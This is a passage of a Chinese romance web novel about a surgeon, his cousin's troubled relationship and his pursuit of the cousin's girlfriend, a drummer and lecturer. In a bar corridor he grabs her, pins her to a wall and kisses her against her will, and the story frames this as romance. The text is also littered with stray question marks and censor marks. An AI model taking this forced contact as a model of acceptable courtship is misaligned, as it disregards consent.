秦一鸣:“说实话,你爱我吗?” 他们?在一起?这么久,从来没有这么正式地?探讨过?这个?问题。 她爱他吗? 每个?人?对爱的定义不一样?,在有些人?看来“爱”与“喜欢”无异,但?在谢一菲看来,爱是灵魂高度的契合与深度的羁绊,至少她认为她的父母就并不相爱,也少有情侣是真正相爱的。 “这么简单的问题要想这么久?”秦一鸣自嘲笑笑,“算了,你休息吧,我走了。” 这一回他走得干脆利索,一刻也没有多停留。 秦一鸣来去匆匆,却让谢一菲一整晚都没有睡好,脑子里像是有个?复读机,一直在重复着他的话。 他说没有一帆风顺的感?情,却没有意?识到他们?之间存在的问题。他说他会为了她坚持,却没有说要怎么坚持。他说秦铮总是护着她怕她移情别恋,却不想想秦铮为什么会有这样?的机会。 而且就算秦铮维护了她,她也不会有什么感?激以外的想法。她再不是十年前那?个?青涩懵懂的她了,不会随随便便对一个?人?动心。更重要的是,她忘不了他说过?的话。 他说:“我不需要用心就能让别人?觉得我在用心,这或许和读书一样?,是一种天赋吧。” …… 每逢秦铮出门诊时病人?格外多,他和何?婷婷从早上八点开始忙碌,一上午一口水都没喝过?。 叫号机叫了下一号,进来的是个?年轻女生,看到坐诊的秦铮,竟然一声不吭地?直接掉头离开。 这种情况不是第一次见了,而且多发生在年轻女性患者的身上。 何?婷婷无语道:“什么情况啊,您的名字一看就是男医生,号都挂了临阵脱逃算怎么回事?” 等?了半天不见人?再进来,何?婷婷还出去找了一趟,回来时只是无奈地?耸了耸肩。 秦铮:“叫下一号吧。” 本以为那?女生走了就不会回来了,谁知道过?了一会儿,她又趁着叫号的空隙敲门进来。 她别别扭扭地?说:“不好意?思?啊医生,刚才没注意?过?号了,现在还能不能看?” 一看就是纠结半天又想通了,但?医院有医院的规矩。 何?婷婷不客气地?说:“刚才进来又出去的是你吧?我们?一天要看上百人?,都像你这样?耽误时间别人?还看不看病了?” 女生无措道:“不好意?思?,我就是有点害怕,可我已经等?了这么久了。” 何?婷婷:“别人?也等?了很久了,又不是只有你这样?。” 秦铮打断何?婷婷,对女生说:“你等?上午下班时再来吧。” 女生感?激地?对秦铮说:“好的,谢谢您。” 秦铮和何?婷婷很快就将这个?小插曲忘在了脑后。 上午门诊结束,秦铮收拾东西正打算离开,忽然注意?到空荡荡的候诊区还坐着一个?人?,是早上那?个?女生。她应该是等?很久了,脑袋一点一点的,像是睡着了。 他过?去拍了下她的肩,女生迷迷蒙蒙抬起?头来。 秦铮:“跟我进来。” 还好何?婷婷还没走,可是眼见要加班,也是一脸的不情愿。 秦铮视若无睹,坐在电脑前打开报道记录。 “叫什么名字?” “刘希若。” “有什么问题?” “我右乳里面好像有个?肿块。” “把?衣服脱了。” 从始至终他没再看女生,但?其实电脑上也没什么好看的——他这样?做无非是在照顾有些年轻女孩的情绪,怕她们?会觉得拘谨尴尬。 何?婷婷不耐烦地?催促道:“快点吧,这没什么大不了的,我们?已经为你加班了……” 余光中的人?终于?扭扭捏捏脱掉了上衣。 秦铮这才转过?头去看向女孩,看到她一副视死如归的模样?,他忽然就想起?了另一个?人?。 他给手消了毒,走到刘希若面前,开始低头检查。 “也许将来的某一天可以不用这样?检查,可是目前为了探明病情还是只能这样?。检查的过?程中如果有不舒服的地?方可以跟我说。” 女生大概没想到他会开口安抚她的情绪,感?激地?点点头,身体也随之放松了不少。 短短几十秒,秦铮重新回到电脑前。 “先做个?B超看看吧。” 女生忐忑地?问:“医生,我这个?肿块是乳腺癌吗?” “目前考虑良性结节的可能性更大,不过?还需要做个?B超再确认一下。报告出来不用挂号,我出门诊的时间你可以在网上查到,到时候直接来就行?。” “我明白了。”女生感?激地?点点头,但?还是忧心忡忡的,“我有一个?姑姑就是乳腺癌去世的,这种病好像越来越常见了,请问有办法预防吗?” 秦铮:“让自己开心一点,另外就是经常乳腺自检。” “乳腺自检……像您刚才那?样?吗?” 秦铮顿了顿:“对。按压乳腺是否有肿块,检查□□是否有炎症和异常分泌物,有问题及时就医就行?了。” “谢谢您,秦医生。”女生笑道,“我发现您这个?姓的人?都挺好的,我的一位老师也姓秦。” 何?婷婷忍着翻白眼的冲动,默默记下了和她老板搭讪套近乎的又一个?新套路。 秦铮没有接这话,把?开好的B超单交给她。 送走了那?女生,这回是真的可以下班了。 何?婷婷的心情不错,大胆调侃秦铮:“您是遇见什么好事了吧,忽然善心大发?” 秦铮不明所以地?瞥她一眼。 何?婷婷:“谁不知道您是‘沉默是金’的忠实奉行?者啊,平时让您多说俩字都费劲,但?是见到刚才那?姑娘也忘了惜字如金了,语气还那?么温柔。要么就是您看上那?姑娘了,要么就是善心大发了。鉴于?您对患者一贯的态度,我选择后者。” 秦铮这人?在外人?看来很不好相 处,何?婷婷最初也有点怕他,但?是接触时间长了就发现他这人?非但?不难相处,而且一点导师的架子都没有,何?婷婷也就越来越无所顾忌,甚至还会偶尔在他面前皮一下。 秦铮:“没事干了是吧?” 何?婷婷撇撇嘴,小声嘀咕:“不就开个?玩笑嘛。” 秦铮沉默了片刻再度开口:“其实,一些所谓过?来人?或者‘见多了’的态度才是最伤人?的。” 何?婷婷怔了怔,脸忽然烧了起?来。 她对刚才那?女生从始至终都表现得很不耐烦,刚才她老板一句话没提看来只是在给她面子,其实内心对她的表现应该已经很不满意?了。 就像她老板说的那?样?,他们?医护人?员天天和这种事情打交道,对女性患者在男医生面前袒露自己并不会多想,可今天这事很可能是那?女生头一次经历,她确实不该以过?来人?的姿态要求她。而秦铮之所以对那?女生说那?么多,其实都是在弥补她犯下的错。 她连忙收敛起?玩笑的神色:“对不起?,我以后会注意?。” 秦铮点点头:“行?了,吃饭去吧。” 两人?一起?离开诊室,但?秦铮没有和何?婷婷一起?去食堂。 病房那?边刚打电话来说他有个?病人?换了药后有些不良反应,让他过?去看一下。 等?电梯的时候,他发现刘希若还没走,她面对着窗外,像是在和什么人?打电话,以至于?他出现在她的身后,她也没有察觉到。 秦铮本不想听,奈何?电梯间就这么大。 “我也不知道……等?B超结果吧,你既然不能跟我在一起?还管我死活干什么?” 秦铮无意?窥探别人?的隐私,正当他打算转身离开的时候,听到女生抽噎着叫了声“秦老师”,他下意?识停下了脚步。 女生继续道:“秦老师,我真的快受不了了,你和她分手好不好,我一定比她更爱你。” 原来电话那?头的人?才是她口中的那?位“秦老师”。 …… 第17章 第 17 章 一个带着淡淡烟酒味道的…… 理智告诉谢一菲, 她和秦一鸣并不合适,而一段不合适的关系也应该及时结束。 可?是想到她的父母,还有那?天秦一鸣仓皇离开的背影, 她又犹豫了。 原来做一个狠心的人并不容易,这点?真应该跟秦医生好好学学。 不过自那?天后,秦一鸣也没再主动联系她,或许冷静一段时间对大家都好。 又到了周五去初涩的日子, 从实验室离开的时候,谢一菲听到身后有两位老师在讨论职称评审的事,她这才想起来评审结果可?能?已经公示了。 上次那?顿饭可?以说是不欢而散, 也不知道秦铮会不会去帮秦一鸣打招呼。不过按照秦一鸣自己的说法,就算没人帮忙, 论资历论能?力这回也该轮到他了。 天气渐暖,酒吧上客的时间也比以往早。 她到的时候酒吧里已经坐了些客人, 音响里放的是舒缓的蓝调, 服务生穿梭在桌与桌之间, 给客人们送上小吃和酒水。 武哥他们都已经到了,巧巧难得好心情地没有埋怨她晚到。 众人准备上台,谢一菲拿出自己的鼓棒, 坐去那?套白色的架子鼓后。无意?间一抬眼,就看到了对面?卡座里的男人。 难怪巧巧今天心情不错,原来是见到了想见的人。 他正和旁边的朋友聊天, 心情看着?也挺好。 其实自从他上次送她回家后,两人再没联系过, 自然也没人催问那?个答案。这让她恍惚怀疑他们那?天的对话是否真正存在过。 其实冷静下来想想,他那?天的提议无疑是他的一时兴起,但或许还掺杂着?某些恶劣的心思, 比如看秦一鸣母子不顺眼,选中?她也只是为了给他们添堵。不然他那?样?的人,就算是只想找个泡友也有前仆后继的女孩子等着?,她不比别?人年轻漂亮,更不比别?人知情识趣,他又怎么会偏偏看中?她呢? “发什么呆呢?”是巧巧略带埋怨的声音。 谢一菲回神,快速整理好思绪投入到了接下来的演出当中?,渐渐地,也就忘记了秦铮的存在。 宋良凑到秦铮跟前,意?有所指地说:“你说你这么放不下人家,何必强撑着?呢?死要面?子活受罪!” 秦铮喝了口酒,从台上的人身上收回视线:“你哪只眼睛看到我放不下了?” 宋良两根手?指在眼前比划了一下:“我两只眼睛都看到了!每次叫你去别?的地方?喝酒你不去,说来初涩你就屁颠屁颠跟来了,你当我傻啊?” 秦铮做了一天的手?术,原本以为都是癌症,因为术前影像不是4b就是4c,没想到其中?一台术中?冰冻竟然翻盘了,这对他们医生来说比中?了彩票还令人振奋。 因为最后那?个翻盘的病人,秦铮今天心情不错,正好宋良约他喝酒,他也就没有拒绝。 秦铮:“有空去眼科看看吧,你这眼神越来越差了。” 宋良:“你也就能?跟我逞逞能?了,在姑娘那?还不是一样?吃瘪?” 他注意?到了他的措辞:“什么叫‘一样?吃瘪’?谁让你吃瘪了?” 以往宋良只要有时间就会去找姑娘约会,可?他最近天天约秦铮喝酒,这情况就有点?耐人寻味了。 宋良长?叹一声,一副难以启齿的样?子。 秦铮瞥他一眼:“上次那?个咨询我乳腺增生的小女朋友又分了?” “别?提了,都给我整出应激障碍了,短期内不想谈恋爱了。” 他宋良能?不想谈恋爱,这倒是件稀罕事。 秦铮也有点?好奇:“怎么回事?” “你也知道,我一向?喜欢乖巧温婉的姑娘,那?姑娘平日里确实看着?温温柔柔,说话也细声细气的,我还挺喜欢的,直到我们有了更‘深入’的交流……”宋良像是想起什么不堪回首的事,一言难尽道,“我们去酒店,她非让我开着?门,那?个声音啊,也不收敛,我好歹还要点?脸呢……也是第?一次听女人□□叫到硬不起来的。” 秦铮:“……” 秦铮:“你可?真行。” 宋良委屈道:“咱哥俩还真是同病相怜一样?的感?情不顺啊,要不咱俩凑合凑合得了。” 秦铮不客气地推开他起身往外走:“那?还是让我孤独终老吧。” “唉唉,干嘛去?” “抽根烟。” 夜幕低垂,城市的夜空看不到星星,只有一轮下弦月孤孤单单地挂在天际。 有忽远忽近的音乐声从四面八方的酒吧里传出来,吵吵闹闹的,倒衬托得店外的这条街安静许多。 晚间起了风,秦铮摸出打火机,拢着?火点?烟。 一阵乱糟糟的音乐声陡然变得清晰起来,他顺势看过去,就见不远处一家酒吧门打开,有个男人从里面?走了出来,步履明显不稳,踉踉跄跄朝他所在的方?向?走来。 这样的人在这条街并不稀奇,秦铮没太当回事,收回视线继续抽烟。 这时候他听到一个女声喊了句“秦老师”。 他再次抬起头,是那?醉酒男人身后追出来的女生。她手?里拿着?件黑色外套,追着?那?男人小跑而来。 距离越来越近,他忽然觉得那?男人的身形有点?熟悉。在男人从一盏路灯下经过时,他看清了那?男人的脸。 秦铮笑了,这不是他那?位一直以“老实人”标榜自己的堂哥吗? 他印象中?秦一鸣对酒吧这类场所向?来是嗤之以鼻的,今天怎么会出现在这里? 秦铮再度看向?那?女生,巧了,这姑娘他也有点?印象,不就是他前几天刚接诊过的那?个叫刘希若的患者吗?当时他无意?间听到她在和一位“秦老师”通电话,没想到那?位秦老师竟然就是秦一鸣。 说出去都没人信,这世界真是小。 那?天之后刘希若再没来医院找过他,现在看,要么就是她没把他的话当回事,要么就是和秦一鸣有关。 夜色中?,那?两人拉拉扯扯,这期间不知道秦一鸣说了什么,刘希若直接抱住了他。 这一情形着?实让秦铮也意?外了 一瞬,手?指间香烟的烟灰积了长?长?的一截,他都忘了弹一下。 酒吧外的马路边停满了各式各样?的车,两人短暂地抱了一下就走向?了其中?一辆。刘希若将秦一鸣塞进?车子的副驾驶,自己坐上驾驶位,然后去帮秦一鸣系安全带。而就在刘希若俯身的下一刻,这回是秦一鸣伸手?抱住了她。 还有来有往的,秦铮微哂,应该不是他误会了他那?堂哥。但他很快想到了什么,不自觉敛起笑容。 他低头看了眼时间,快十点?了。十点?之前,谢一菲的演出就结束了。 他将剩下的半支烟按灭在旁边的垃圾桶里,转身回了初涩。 …… 演出结束时,谢一菲才发现秦铮刚才坐的位置上已经换了个人。 她更加确定他今天出现在这里的原因和以往没什么不同,他说要和她玩玩的提议多半也不是认真的。 她收好鼓棒打算离开,然而还没走出初涩的大门,就见她原本以为已经离开了的男人正从外面?进?来。 两人短暂地对视了一眼,谢一菲想当做没看见,直接从他身边走过去,可?男人却故意?挡在了她的面?前。 这条走廊并不宽敞,他身形高大,想拦住她轻而易举。 谢一菲冷着?脸问:“有事吗?” “等会儿再走。” 他又想干什么? “为什么?” “聊几句。” 她和他能?有什么好聊的?无非还是那?些无聊的话题。 周遭人来人往的,他俩这么矗在这格外的碍眼,但凡是路过的人都会忍不住多看一眼。 谢一菲被人看得不自在,再开口时语气也带上了不耐烦:“我现在没空。” 说着?她就想绕过他直接离开,而就在她即将与他擦肩而过时,他忽然拽住了她的手?臂。 谢一菲像是被烫到一样?试图甩开他,但男人却不肯放手?。 “我都说了我没空!” 忽然有吵吵闹闹的声音从身后的方?向?传来,紧接着?一群明显喝多了的年轻人踉踉跄跄推推搡搡地从酒吧里面?鱼贯而出。 正当谢一菲快被其中?一人撞到时,她感?到手?臂被人用力一扯,紧接着?她被推到墙上,秦铮转了个身背对着?那?群人挡在了她面?前。 一切都发生在短短的几秒钟内,但他的反应和他的动作那?么自如,也不知道这么做过多少次了。 不远处的射灯将两人的影子投在深灰色的地板上,很像是男人在壁咚女生并向?其索吻。 那?几个年轻人嘻嘻哈哈地调侃起来,甚至还有人吹起了口哨。 谢一菲低下头,下意?识想用秦铮的身体去挡住那?几人投向?她的视线。 过了好一会儿,直到那?群人的声音彻底消失,她紧绷的神经才放松下来。 再一抬头,又对上了秦铮垂眼打量她的视线,他嘴角还噙着?一丝似有若无的笑。她这才意?识到自己刚才那?低头的举动很像是在往他怀里钻。 心跳毫无预兆地漏掉了一拍。 她忽然有点?生气,她只想平静过自己的生活,他为什么一而再再而三地跑来撩拨她呢? “我上次说的还不够清楚吗?不管你是出于什么目的,我都对和你玩玩没兴趣。” “如果不是玩玩呢?” 谢一菲愣了一下,但很快再次拒绝道:“都一样?,我对你这个人就没兴趣。” 秦铮:“那?为什么会对秦一鸣有兴趣?” 她知道,在很多人眼里,秦一鸣远不如他,如果没有他们当初那?段过往,她大概也会这么认为。 可?惜没有“如果”。 她和秦一鸣或许不是同路人,而她和秦铮干脆就是两个世界的人。 不等她回答,秦铮似乎想到了什么,嘲讽地笑了笑:“就凭他‘专一有温度’吗?” 这是她在医院水房里对他说过的话,想不到他一直记着?。 “至少和你比起来,是这样?。” 他的表情没有变,还是那?么垂眼看着?她,但谢一菲就是觉得他好像生气了。 “谢一菲,有没有人说过你眼神不怎么好?” “我承认,否则当初也不会看上你。” 说着?,她用力推开他,往酒吧外走去。 然而,还没走出两步,她忽然再度被人按回了墙上。身体撞到墙面?时发出闷闷的一声,但疼痛却是尖锐的,这让她压抑许久的情绪一下子被点?爆了。她正想不管不顾地骂这过分的男人两句,眼前光线陡然变暗,一个带着?淡淡烟酒味道的吻便铺天盖地地落了下来。 第18章 第 18 章 “我可以吻你吗?”…… 入眼的是男人高挺的鼻梁和他浓密的睫毛, 这?仿佛和多年前的某一幕重合了。 曾经有一段时间,每到周五的晚上?秦铮都会守在巷子口等谢一菲。 少年的白衣在夜色中格外醒目,不知不觉成了谢一菲在那个夏天所有的期待。 在有光的地方, 他们只是并行走着的同路人,而当?他们从暖黄的路灯下踏入暗夜的那一刻,他就会自?然?而然?地牵起她?的手。 以前她?觉得那条巷子又黑又长令人生畏,自?从他出现以后, 她?就希望那条路可以再长一点,再长一点。 不知道是谁的手心先出了汗,盛夏的晚风丝丝缕缕从他们交握的手间穿过, 湿湿凉凉的。 她?是个沉闷的性格,他也不是多话的人。 他们有一句没一句地聊着白天的琐碎, 直到视线的尽头有了光亮。 家属院就在前方不远处,每当?那时候, 谢一菲都会觉得很不舍。 但是那一天, 少年忽然?停下了脚步。 她?不明所以地抬头看向他, 他的眼眸像那晚的星辰一样?璀璨,然?后他看似平静地开口:“我可以吻你?吗?” 风忽然?停了。 回过神来的她?有点害羞也有点懊恼,他为什么要问呢?这?让她?怎么回答? 而就在她?绞尽脑汁想着要怎么让他知道她?喜欢和他做亲密的事, 却又不会显得她?不够矜持的时候,他忽然?低下了头,霸道又不失温柔地吻了上?来。 她?能?够感受到他的生涩和小心翼翼, 却也因此让她?心动不已,让她?心满意足地喟叹, 这?是她?的男孩,哪怕只在那一刻。 他身上?的味道很好闻,在那一晚就像某种可以让人热血沸腾为之上?瘾的药。 她?从安静承受到尝试着回应他, 手贴在他的胸膛上?时,她?意外发现他看似平静如冰封的情?绪下竟然?掩藏着几乎喷薄而出的热烈。 此时,男人口腔中淡淡的酒气将回忆和现实剥离了开来。 谢一菲回过神,用?力推开了他。 懊恼、羞愤、委屈、不满一股脑地涌了上?来,堵在了她?的心口处,最后化作结结实实的一巴掌打在了秦铮轻俊的脸上?。 清脆的响声在喧闹的酒吧中也那么清晰,他的脸被她?打得稍稍偏开。 他像是没想到她?会打他,过了片刻才?又缓缓看向她?。 谢一菲也被自?己这?一巴掌搞懵了。 她?这?人一向好脾气,很少和什么人红脸,动手更是第一次,竟然?是对?他。 她?脑子里乱糟糟的,突然?不敢直视他的眼睛,索性直接推开他,一言不发地转身离开。 这?一次,再没人阻拦她?。 直到走出很远,谢一菲的心跳才?逐渐平复下来。 想到刚才?发生的一切,她?总有点不真实的感觉。 他那样?的人,接受到的赞誉和仰望太多了,恐怕还没有人这?样?对?他。 她?开始害怕,也有点后悔,但又说不上?为什么害怕和后悔。 不过,如果这?一巴掌能?让他以后不再来撩拨她?戏弄她?,那这?一巴掌就打得对?。 她?告诉自?己这?么做没错,但心里却像丢了什么东西一样?,空落落的。 秦铮也没想到自?己有生之年还会被女人打。他舔了舔嘴角,不出意外的,尝到了一股血腥味。 看来这?笔账只能?记到秦一鸣那家伙的头上?了。 感受到有人在看他,他循着那感觉看过去,就看到了不远处的巧巧。 两?人视线对 ?上?,巧巧朝前迈了一步,似乎想走过来。 然?而此刻的秦铮再没心情?应付任何人,直接转身离开。 一出门,他先是朝着秦一鸣刚才?停车的位置看过去,此时那里已经换了辆车。 看样?子,谢一菲应该是没遇上?。 秦铮忽然?觉得有点好笑,他在担心什么呢?早知道她?这?么不知好歹,就该让她?看看她?那“专一有温度”的男朋友背地里是什么样?。 …… 周末没什么特别安排时,秦铮一般都在医院。 早上?刚到办公室,忽然?有个黑乎乎的东西兜头罩过来,他下意识抬手挡开,拿起来一看,是他昨晚落在初涩的外套。 宋良倚在他办公室门前,一副别人欠了他八百万的样?子。 “你?昨晚怎么回事啊,一声不吭地走了,打电话也不接?” 秦铮把衣服丢到一旁,低头看病例:“忙。” “忙什么?我一早就来问过了,昨晚医院一片祥和,根本没什么事需要你?秦大医生跑回来处理的。”宋良凑到他面?前,一脸不怀好意地说,“你?不会是被什么小狐狸精给拐走了吧?要真是这?样?,我就原谅你?了!” 秦铮不耐烦地抬起头来:“有正事吗?” 看到他的脸,宋良忽然?愣住了:“你脸怎么了?” 谢一菲昨晚那一巴掌没留什么余地,一上?车他就发现嘴角破了,不愧是打鼓的,手上?力气还真不小。 “没什么。” “什么没什么?不会是被哪个姑娘打的吧?”说着,宋良就要伸手过来。 秦铮没好气地躲开他:“说话就说话,别动手动脚的。” 宋良笑嘻嘻:“别的我看不准,这?伤我熟,绝逼姑娘打的!究竟什么样?的姑娘能?让我们无往不利的秦医生吃瘪啊?跟哥们儿说说呗,哥们儿帮你?出谋划策!” 秦铮不由得又想到昨晚的谢一菲,确实有点棘手。 他看了眼宋良,犹豫着开口:“如果你?发现一个朋友的另一半出轨了,你?会告诉她?吗?” 宋良果断道:“不会。” “为什么?” “正常人都要面?子的,你?觉得你?告诉她?是帮了她?,但从此以后她?只要一看到你?就会想到那段失败的感情?,会想到你?见过她?最狼狈的样?子,你?说你?冤不冤?再说,万一人家两?人回头又和好了,你?不就猪八戒照镜子里外不是人了吗?当?然?了……”宋良刻意顿了顿,“有一种情?况除外。” “什么情?况?” 宋良笑:“你?对?你?那‘朋友’有意思。” 秦铮继续垂眼看病历。 宋良无语道:“你?不会真的去说了,结果被人家姑娘一气之下打了吧?” 秦铮:“……” “我猜错了?那就是你?出轨,被姑娘发现了,把你?打了。” 秦铮:“……” 秦铮:“你?一大早就是来八卦我的?” “本来不是,但现在是了。说说呗,那位英勇的姑娘到底是谁?不会是巧巧吧?” 正在这?时,秦铮的手机忽然?响了,他看了眼来电,是病房那边的座机。 他正好借机脱身:“干活了。” 宋良还不死?心:“忙完一起吃午饭呗?” “改天吧,今天有事。” 宋良立刻做出一副“我懂”的表情?,捏着嗓子细声细气地调侃他:“小宋热线随时欢迎您的来电咨询哦!”. 访视了两?个刚做完手术的病人,看了几个病例,秦铮结束了上?午的工作开车回家。 在B大附近的一个路口等红灯时,他又想到了昨晚的事。 如果没记错,秦一鸣似乎提过他们课题组的例会一般安排在周六上?午,所以不出意外的话,他这?会儿应该在学校。 在绿灯再次亮起时,秦铮改了方向,朝着B大校园驶去。 也是巧了,他刚把车停好,就看到一个熟悉的身影从校园里走了出来。 秦一鸣身上?还是昨晚那件衬衫,只是经过了一夜,皱皱巴巴的衬得他整个人很颓废。 他按了下喇叭,车外的秦一鸣被吓了一跳。 看到从车上?下来的秦铮,他没有以往见面?时的殷勤和热络,不情?不愿地走了过来。 “找我还是路过?” “找你?。” 秦一鸣哂笑:“难得,日理万机的秦医生会专门跑来找我。什么事?” 秦一鸣本以为十拿九稳的副教授没评上?,昨天又被告知他之前申报的那个项目没通过,再加上?和谢一菲的感情?也不顺利,他的心情?糟透了。 这?会儿看到他这?不可一世的堂弟,就又想起副教授那事,还有秦铮和谢一菲之间那种说不出的怪异感觉,自?然?也摆不出什么好脸色。 “你?评副教授那事我是答应帮你?说一声……” 秦一鸣冷淡打断他:“那事是我妈自?作主张,我知道是为难你?了。” 他这?样?的态度,秦铮也不生气:“那天从你?家离开,我就打过电话了。” 秦一鸣愣了愣:“你?真帮我说了?” “不信你?可以去问问你?们领导。” 事实上?就像秦铮说的,他确实去帮秦一鸣打了招呼,不过他也说清楚了自?己无意干扰学院里公平公正的评选机制,只是碍于?家人面?子来完成个任务,让对?方千万别受影响。 秦一鸣想了想,面?色稍缓:“其实我也觉得你?不至于?答应了不做,但这?结果确实挺出乎我意料的。没想到你?救了他老婆一命,他却连这?点小事都不肯帮忙,看来是别人后台和关?系比我更硬。” 秦铮笑了笑,不置可否。 这?时候秦一鸣的态度已经恢复如常,他问秦铮:“你?来找我就是为了说这?事?” “不是。” “那什么事?” 秦铮看向他身后,此时恰巧从校园里走出几个女学生,不知在聊什么,嘻嘻哈哈笑闹着从他们身边经过。 “二十岁上?下的年纪,确实不一样?。” 秦一鸣想到有关?他这?堂弟的传闻,以为是这?位情?圣的老毛病又犯了,心里不由得有点鄙夷,却听秦铮话锋一转说:“学校应该不提倡师生恋吧?” 第19章 第 19 章 “周末我会带个人去。”…… “当然了。怎么想起问这个?” 话一出口, 秦一鸣忽然想到昨晚的事,不?由得呼吸一窒。 刘希若找秦铮看过病这事秦一鸣是知?道的,怕惹来不?必要的麻烦, 秦一鸣特意以别的医院有?熟人为由劝她去了另一家医院。难不?成秦铮早就知?道刘希若是她的学生,昨晚他们在?一起又恰巧被他看见了?人倒霉起来真是喝凉水都塞牙,那家酒吧离附属医院不?远,秦铮昨晚还真有?可能也在?那。 秦一鸣本来就后悔一早上了, 这会?儿更是肠子?都悔青了。 刘希若喜欢他,但他一直把她当学生,从没?想过两人之间?还能发展出师生之外的关系。也就昨晚, 他一个人在?酒吧喝了不?少酒,恰巧刘希若打电话说要见他, 他脑子?一热就把酒吧地址发给了她…… 秦一鸣勉强笑笑:“在?我眼里,她们还都是孩子?。” “是吗?你带‘孩子?’去酒吧吗?” 秦一鸣最担心的事还是发生了。 “你误会?了。”秦一鸣连忙解释, “昨晚我喝多了开不?了车, 我学生正好在?附近, 我就叫她来帮我把车开回?去。” “那你昨晚应该是在?家睡的吧?” 秦一鸣眼神闪烁:“是啊,昨晚到家倒头就睡了,今天头还疼呢!” 秦铮笑:“所以衣服也不?换就来开会?了?” 秦一鸣脸上的假笑终于维持不?住了。 “你到底想说什么?” “谢老师知?道这件事吗?” 秦一鸣有?点急了:“你会?告诉她吗?” “你在?意吗?” “当然了!” 秦一鸣又想到秦铮在?他家时对谢一菲的维护, 真的只是出于医生对患者的关心吗? “昨晚只是个意外。”他看着?秦铮,坚定道,“我爱一菲。” 如果秦铮对谢一菲没?有?非分之想的话, 那他觉得,秦铮该理解他的。 谁知?秦铮竟然笑了。 他说:“还真没?看出来。” 秦一鸣觉得脸上火辣辣的, 而且他有?什么资格笑他,这种事难道他秦医生比他做的少吗?奈何把柄在?秦铮手上,他也不?敢直接翻脸。 他深呼吸, 努力?让自己的情?绪平复下来。 “你既然来找我了,那就是还没?把这事告诉她。说吧,你想怎么样??” 秦铮:“和她分手。” 秦一鸣松了口气,原来只是这样?。 “你放心,我已经跟她说清楚了,昨晚就是喝了酒一时冲动,以后我们就还是老师和学生的关系。” “把责任推给几杯黄汤,确实是个好办法?。不?过你可能没?理解我的意思。” “你什么意思?” “我说的‘她’,是指谢一菲。” 秦一鸣愣了愣,片刻后才反应过来秦铮是让他和谢一菲分手。 “不?是……我不?让你告诉一菲就是怕她伤心。” “那就不?让她伤心,换个分手理由就行,反正你们之间?不?缺这样?的理由。” 秦一鸣看着?他这位一向对别人的事都不?怎么感兴趣的堂弟,渐渐意识到了问题的严重性?。 他冷笑着?点头:“我之前还以为是我多心了,现在?看是我太傻了。我早该想到,你根本就不?是对什么靶向药感兴趣,你在?我家时那么明显地维护她也不?是因为她是你的病人。可是我不?明白?,那是我女?朋友,你未来的嫂子?,你怎么能打她的主意?” “我未来的嫂子??你会?娶她吗?” 秦一鸣想到那天他们相继离开后,他妈耳提面命的那些?话。 虽然在?面对谢一菲时,他说得很笃定,说他们会?结婚,但是他也知?道,要做通他妈的工作并不?容易。 “这是我们的事,与你无关。就算我俩明天就分手,那在?明天之前也没?你什么事!” 他怎么也想不?明白?,他和谢一菲之前一直好好的,怎么一夜之间?他们之间?就冒出了这么多人。 秦铮看着?他:“你确定?” 对上他的视线,想到谢一菲那晚的沉默,秦一鸣忽然就有?点不?确定了。 他再度放缓了语气:“我不?明白?,女?人那么多,为什么非得是她呢?” “为什么非得是她?”秦铮重复着?这句话,然后笑了笑,“这可能就是缘分吧。” 见秦铮没?有?退让的意思,秦一鸣也不?想再低三下四:“你要是想告诉她你就去说吧!你以为她会?信你吗?再说就算我俩因为这事分手了,你觉得她能接受你吗?我只有?这么一次,你呢?” 听了秦一鸣的话,秦铮去开车门的动作顿了顿:“真不?巧,我还一次都没?有?。我不?喜欢太复杂的关系,比如同时游走在?几个女?人之间?。” 这倒是让秦一鸣很意外,毕竟堂堂的秦医生,出了名的浪子?,还会?墨守对恋人忠诚这种规矩吗? 怎么可能?! “你骗谁?!不管你怎么说,我绝对不?会?和一菲分手。” 看着他狂躁又懦弱的样?子?,秦铮都替谢一菲不?值。 “好自为之。”丢下这句话,秦铮上了车。 …… 几天后的周末,王林忽然约谢一菲去逛街。两人约在西单一家商场见面。正是换季的时候,新上的夏款让人眼花缭乱。 她们边逛边聊,闲聊中提到了巧巧, “你是不?是得罪她了?”王林问谢一菲。 经王林这么一说,谢一菲也发觉巧巧最近对她很冷淡,当然以前也算不?上好。但她想了想,也没?觉得自己哪里做得不?好。 “没?有?吧?” 王林拿了条裙子?在?她身上比了比:“没?有?吗?那她换什么鼓手?” 谢一菲怔了怔:“她要换掉我?” 巧巧和别人不?一样?,她是乐队的灵魂,如果她对谢一菲的意见都上升到要换掉鼓手的地步,那可见已经不?是一般的意见了。那王林会?怎么想?会?觉得为难吗? 王林笑了:“放心,这事儿她说了不?算。” 谢一菲松了口气。 王林打量着?她的神情?问:“对了,正式加入纯白?的事考虑得怎么样?了?” 经历过这次手术后,谢一菲想明白?了很多事。人生无常,每一件想做的事都要尽早去做。 教学是她的工作,科研是她的信念,打鼓就是她的热爱。如果可以,她一件事也不?打算放弃。 她喜欢纯白?这支乐队,也喜欢在?初涩舞台上打鼓的感觉,所以她想像之前说好的那样?,如果觉得合适就和王林签个合约,正式加入纯白?。只是没?想到还没?等她开口,就出了这样?的事情?。 谢一菲有?点尴尬:“其实我这几天也想找机会?和你聊一下这件事的,没?想到我还没?来得及说就有?人先投了反对票。” 王林惊喜道:“这么说你已经想好了?” “可是巧巧那边怎么办?” “乐队不?是她一个人的,什么事都得大家商量着?来,尤其确定乐队成员这件事,怎么能因为一个人的个人喜好就决定别人的去留呢?只不?过巧巧是乐队建成时就在?乐队的了,而且她的业务能力?确实没?得说,所以还是希望你们能和睦相处,不?然我今天就不?约你逛街了。快想想,你到底哪得罪她了?看我能不?能调解调解。” 谢一菲还是一点头绪也没?有?,直到脑中忽然冒出了一个人。 难道那天秦铮发疯的时候被巧巧看到了?算算巧巧对她态度转变的时间?点,好像也对得上。 “想到什么了?” 她实在?不?知?道这事该怎么跟王林解释,索性?摇了摇头。 王林有?点失望:“算了,你也不?用太有?压力?,巧巧就是脾气臭了点,人不?坏,回?头我再去做做她的工作。对了,既然咱们以后就是正儿八经的合作关系了,那我必须得给你提点小建议。” “什么?” “咱能不?能稍微打扮打扮?虽然咱这盘靓条顺的穿什么都好看,但你那些?超市款卫衣能不?能换一换?不?管怎么说,你每次打鼓的地方?大小也是个舞台啊!”王林从货架上拿了条裙子?塞给她,“去试试。” 谢一菲抖开看了一眼。 这是条雾霾蓝色的一字肩连衣裙,款式既不?浮夸也不?暴露,而且颜色很衬皮肤。谢一菲有?点心动,但这裙子?明显不?是打鼓时穿的,更何况看着?就不?便宜。 “打鼓时穿这个不?合适吧?” “谁规定打鼓必须穿什么了?再说平时穿也好看。” 